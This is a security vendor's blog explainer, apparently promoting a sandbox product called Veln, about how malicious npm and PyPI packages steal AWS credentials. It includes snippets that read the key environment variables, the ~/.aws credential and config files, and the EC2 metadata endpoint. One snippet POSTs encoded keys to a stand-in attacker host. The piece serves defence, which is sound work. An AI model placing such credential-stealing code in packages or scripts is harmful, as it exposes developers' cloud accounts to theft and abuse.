Skip to content
← Blog

Technical explainer

Malicious packages targeting AWS credentials

3 min read

If you ran an analysis of the most common environment variable names accessed by malicious npm and PyPI packages over the last three years, the results would not be surprising:

  1. AWS_ACCESS_KEY_ID
  2. AWS_SECRET_ACCESS_KEY
  3. AWS_SESSION_TOKEN
  4. AWS_DEFAULT_REGION

AWS credentials appear in more malicious packages than any other secret type. This is not coincidence.

Why AWS credentials are the primary target

They're universally present in developer environments. Cloud infrastructure is the default for modern software development. The majority of professional developers working on web applications, data pipelines, ML projects, or DevOps tooling have AWS credentials configured on their development machines and in their CI environments.

They have immediate financial value. Unlike GitHub tokens (which require navigation of rate limits, code access permissions, and downstream exploitation to monetize) or database credentials (which require network access to the database), AWS access keys can be used immediately to spin up compute resources. The most common post-exfiltration use of stolen AWS credentials is cryptocurrency mining — run a GPU fleet for 24 hours before the account owner notices the bill spike.

They're stored in predictable places. AWS credentials are typically in ~/.aws/credentials, in AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY environment variables, or in instance metadata service responses. Malicious packages know exactly where to look.

They often have broad permissions. Developers frequently use credentials with AdministratorAccess or PowerUserAccess — permissions that are convenient for development but devastating if stolen.

The credential access patterns

Analysis of malicious packages that targeted AWS credentials between 2022 and 2025 shows four main access patterns:

Pattern 1: Direct environment variable read

import os
import base64
import requests

aws_key = os.environ.get('AWS_ACCESS_KEY_ID', '')
aws_secret = os.environ.get('AWS_SECRET_ACCESS_KEY', '')
if aws_key:
    requests.post('https://exfil.attacker.example/',
        data=base64.b64encode(f"{aws_key}:{aws_secret}".encode()))

Simple and common. Checks for the variable directly, exfiltrates if found.

Pattern 2: File read from ~/.aws/credentials

import os
cred_file = os.path.expanduser('~/.aws/credentials')
if os.path.exists(cred_file):
    with open(cred_file) as f:
        # send file contents to exfiltration endpoint

Catches credentials that are stored in the credentials file but not exported to the environment.

Pattern 3: Instance metadata service (IMDS) scraping

import urllib.request
try:
    # EC2 instance metadata — provides IAM role credentials
    response = urllib.request.urlopen(
        'http://169.254.169.254/latest/meta-data/iam/security-credentials/',
        timeout=1
    )
    # ... parse and exfiltrate the role name and credentials
except:
    pass

This pattern specifically targets EC2 instances and Lambda functions. If the malicious package runs in a cloud environment with an IAM role attached, this retrieves the role's temporary credentials without needing any environment variables.

Pattern 4: Profile enumeration

import configparser, os
cfg = configparser.ConfigParser()
cfg.read(os.path.expanduser('~/.aws/config'))
cfg.read(os.path.expanduser('~/.aws/credentials'))
# Sends all profiles, not just the default

Attackers who want maximum value enumerate all configured AWS profiles, not just the default one. A developer with multiple AWS accounts configured may have production credentials in a named profile even if the default profile is a development account.

Protecting your AWS credentials in development environments

Use short-lived credentials wherever possible. The most effective mitigation is using credentials that expire quickly. AWS IAM Identity Center (formerly AWS SSO) provides short-lived temporary credentials that are rotated automatically:

aws sso login --profile my-profile
# Credentials valid for 8 hours, then automatically expire

Use named profiles, not environment variables. If your credentials are in a named profile rather than exported as environment variables, Pattern 1 (env var read) doesn't work. Patterns 2 and 4 still work, but they're harder to exploit from a postinstall script that runs in your project directory.

Limit credential permissions. Use an IAM policy that grants only the specific permissions needed for your development work. The principle of least privilege applies here: if a malicious package exfiltrates your credentials, the damage is limited to what those credentials can do.

Monitor your AWS account. Enable CloudTrail and set up billing alerts. An alert when your AWS bill exceeds a threshold is the most common way developers first notice stolen credential abuse.

Use Veln. Veln's canary sandbox intercepts all outbound network calls and all filesystem reads outside the package directory during install. Patterns 1–4 above are all caught:

  • Pattern 1 (env var read + POST): observed in sandbox as "env var access + outbound POST"
  • Pattern 2 (file read): observed as "filesystem read outside package directory"
  • Pattern 3 (IMDS): observed as "outbound connection to 169.254.169.254 — instance metadata service"
  • Pattern 4 (profile enumeration): observed as "filesystem read of ~/.aws/credentials and ~/.aws/config"

All four produce a behavioral report with specific details about what was attempted.


AWS credentials are the most commonly targeted secret in supply chain attacks. Veln's sandbox catches every access pattern before it succeeds.